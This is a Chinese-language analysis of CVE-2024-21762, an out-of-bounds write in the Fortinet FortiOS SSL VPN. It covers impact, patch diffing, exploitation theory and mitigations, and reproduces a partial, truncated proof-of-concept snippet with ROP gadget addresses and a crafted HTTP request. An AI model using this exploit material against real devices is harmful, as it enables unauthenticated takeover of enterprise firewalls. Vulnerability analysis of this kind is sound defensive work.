CVE-2024-21762 是 Fortinet 公司的 FortiOS 和 FortiProxy 产品中的一个严重漏洞,存在于其 SSL VPN 组件中。该漏洞允许未经身份验证的远程攻击者通过特制的 HTTP 请求在目标系统上执行任意代码或命令,可能导致系统被完全控制。
危害: 由于该漏洞的存在,攻击者可以在不需要任何身份验证的情况下,远程执行任意代码,进而完全控制受影响的设备。这可能导致敏感数据泄露、服务中断,甚至进一步的网络攻击。
攻击方法: 攻击者利用该漏洞的主要手段是发送特制的 HTTP 请求,触发 SSL VPN 组件中的越界写入漏洞。具体而言,攻击者可以通过精心构造的请求,操控内存中的数据,最终实现远程代码执行。
防护措施: 为防止受到该漏洞的攻击,建议立即将 FortiOS 和 FortiProxy 升级至官方提供的最新安全版本。此外,禁用 SSL VPN 功能也是一种临时的防护措施。
CVE-2024-21762 是 Fortinet FortiOS SSL VPN 中的一种高危漏洞,属于未经授权的越界写漏洞。漏洞可能被用于远程代码执行 (RCE),对企业网络安全构成威胁。
FortiGate 于 2024 年 2 月发布了更新,修复了多个中高危漏洞。其中,本文重点分析 CVE-2024-21762 的利用过程,包括如何利用该漏洞实现远程代码执行。
以下 PoC 代码由 assetnote 提供,展示了利用此漏洞的基本步骤。
# 简化的漏洞利用代码片段
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00" # SSL握手指针
getcwd_ptr = b"%70%62%2c%04%00%00%00%00" # getcwd函数指针
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # pivot指令集1
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # pivot指令集2
rop = b"" # ROP链
rop += b"%c6%e2%46%00%00%00%00%00"
rop += b"%19%6f%4d%01%00%00%00%00"
# ... 其余ROP链内容省略
# 伪造请求数据
body = (b"B"*1808 + b"=" + b"B"*1024 + b"&") * 20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n" + body
# 发送伪造请求
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
通过对 FortiOS 7.4.2 和 7.4.3 的二进制文件进行对比,修复的代码位于函数 sub_18F4980
中。修复主要集中在以下两点:
- 在解析
chunk
格式时,添加了对chunk
长度的校验。如果解码后的长度超过 16,视为非法。 - 修复了
chunk trailer
的写入逻辑,防止越界写入\r\n
。
-
触发越界写入:
- 当解析
chunk
时,若长度字段解码后为 0,则触发读取chunk trailer
。 - 写入
chunk trailer
时,根据长度字段向栈中写入\r\n
。 - 若长度字段为大量
0
,将触发越界写入\r\n
到返回地址附近。
- 当解析
-
栈溢出与劫持:
- 通过精心构造的
chunk
数据,可以覆盖栈中的返回地址,达到劫持程序控制流的目的。 - 利用 ROP 技术,结合 FortiOS 的内存布局,实现远程代码执行。
- 通过精心构造的
虽然可以通过 ROP 链进行劫持,但 FortiGate 主程序中 /bin/sh
不具备直接执行命令的能力,因此需要寻找其他可利用的函数。例如,通过伪造结构体指针,利用 SSL_do_handshake
进行进一步的攻击。
即使在默认配置下(关闭 Web 模式),该漏洞仍然可以被利用。
CVE-2024-21762 是一个具有较高复杂度的漏洞,其利用过程需要对 FortiOS 的代码逻辑和内存布局有深入理解。与传统的 CTF 题目相比,真实漏洞的利用需要更复杂的上下文和结构分析。
作者提供了更详细的中文分析文章,可参考:原文地址